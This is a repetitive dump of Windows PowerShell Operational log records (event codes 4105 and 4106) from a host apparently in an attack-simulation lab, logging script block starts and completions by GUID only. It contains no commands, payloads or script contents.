Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028147
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028145
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028144
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028127
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028121
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028099
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028097
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028096
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
